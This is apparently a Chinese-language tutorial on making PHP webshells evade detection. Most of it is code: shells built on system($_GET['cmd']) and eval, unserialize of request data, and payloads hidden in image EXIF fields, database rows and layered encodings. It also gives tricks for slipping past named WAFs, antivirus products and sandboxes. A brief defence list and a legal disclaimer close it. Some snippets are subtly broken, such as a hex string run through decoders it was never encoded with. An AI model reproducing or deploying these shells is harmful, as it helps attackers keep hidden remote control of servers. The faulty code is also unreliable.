PHPwebshell免杀
字数 1127 2025-08-29 08:29:58
PHP Webshell免杀技术详解
一、Webshell免杀基本原理
Webshell免杀技术主要目的是绕过安全检测系统(如WAF、杀毒软件、沙箱等),核心原理包括:
- 代码混淆:改变代码结构使其难以识别
- 变量加密解密:对关键变量和函数名进行加密处理
- 危险函数绕过:避免直接使用敏感函数或改变调用方式
- 添加无用变量:插入无关代码干扰检测
- 函数套壳:将敏感函数包装在多层自定义函数中
二、主流免杀技术方案
方案1:反序列化+自定义加密解密+分块加密
实现步骤:
- 将恶意代码封装为可序列化对象
- 自定义加密函数对序列化字符串进行加密
- 将加密后的代码分块存储
- 运行时动态解密并反序列化执行
示例代码结构:
class Malicious {
public $cmd = "whoami";
public function __destruct() {
system($this->cmd);
}
}
function customEncrypt($data, $key) {
// 自定义加密算法
return $encryptedData;
}
// 分块加密存储
$serialized = serialize(new Malicious());
$chunks = str_split(customEncrypt($serialized, 'secret_key'), 32);
// 运行时解密执行
$fullData = implode('', $chunks);
$decrypted = customDecrypt($fullData, 'secret_key');
unserialize($decrypted);
方案2:自定义加解密key+反序列化
核心要点:
- 使用动态生成的加密密钥
- 将密钥隐藏在正常业务逻辑中
- 通过反序列化触发执行
实现技巧:
// 密钥隐藏在看似正常的配置中
$config = [
'db_host' => '127.0.0.1',
'db_user' => 'root',
'security_key' => 'x12#9Kj' // 实际加密密钥
];
class Payload {
private $encryptedCmd;
public function __construct($cmd) {
$this->encryptedCmd = customEncrypt($cmd, $GLOBALS['config']['security_key']);
}
public function execute() {
eval(customDecrypt($this->encryptedCmd, $GLOBALS['config']['security_key']));
}
}
// 触发执行
$payload = unserialize($_REQUEST['data']);
$payload->execute();
方案3:魔法函数+自定义加解密
利用PHP魔法方法:
__construct()/__destruct()__call()/__callStatic()__get()/__set()
示例实现:
class MagicShell {
private $encoded;
private $key = 'dynamic_key';
public function __construct($input) {
$this->encoded = $this->rot13(base64_encode($input));
}
public function __call($name, $args) {
if ($name == 'legitFunction') {
$code = base64_decode($this->rot13($this->encoded));
eval($code);
}
}
private function rot13($str) {
return str_rot13($str);
}
}
// 使用方式
$shell = new MagicShell('system($_GET["cmd"]);');
$shell->legitFunction(); // 触发执行
三、针对安全产品的绕过技巧
1. 阿里云WAF绕过
- 避免使用
eval、system等直接调用 - 使用字符串拼接动态构建函数名
- 利用PHP变量函数特性:
$func = 'sy'.'stem'; $func('whoami');
2. 360检测绕过
- 插入大量干扰字符串和注释
- 使用非常规编码(如十六进制、unicode)
- 利用PHP的
create_function已弃用函数
3. 微步沙箱检测
- 添加环境检测逻辑,非真实环境不执行
- 使用时间延迟触发
- 检测用户代理和IP地址
四、高级免杀技术
1. 图像隐写术
将恶意代码隐藏在图片EXIF数据中:
$exif = exif_read_data('logo.jpg');
eval($exif['Copyright']);
2. 数据库存储
将代码分片存储在数据库表中,运行时动态组装:
$db = new PDO('mysql:host=localhost;dbname=cms', 'user', 'pass');
$stmt = $db->query("SELECT part FROM code_parts ORDER BY id");
$code = '';
while($row = $stmt->fetch()) {
$code .= $row['part'];
}
eval($code);
3. 混合编码技术
// 十六进制+base64+rot13混合编码
$code = '73797374656d28245f4745545b22636d64225d293b'; // system($_GET["cmd"]);
$decoded = base64_decode(str_rot13(hex2bin($code)));
eval($decoded);
五、防御检测建议
-
静态检测防御:
- 使用多引擎检测(如VirusTotal)
- 自定义正则匹配异常代码结构
- 检测文件修改时间和权限
-
动态检测防御:
- 监控异常进程创建
- 记录敏感函数调用
- 分析HTTP请求参数特征
-
行为检测防御:
- 建立正常行为基线
- 检测异常文件操作
- 监控网络连接行为
六、总结与进阶
-
技术演进趋势:
- 从简单混淆到密码学应用
- 从单一方法到混合技术
- 从代码层面到协议层面
-
学习建议:
- 深入理解PHP语言特性
- 研究主流WAF检测规则
- 分析公开的恶意样本
-
法律提醒:
- 本技术仅用于安全研究
- 未经授权测试属于违法行为
- 请遵守网络安全法律法规
注意:本文仅供安全研究使用,任何非法应用与作者无关。实际防御中建议采用多层次安全防护策略。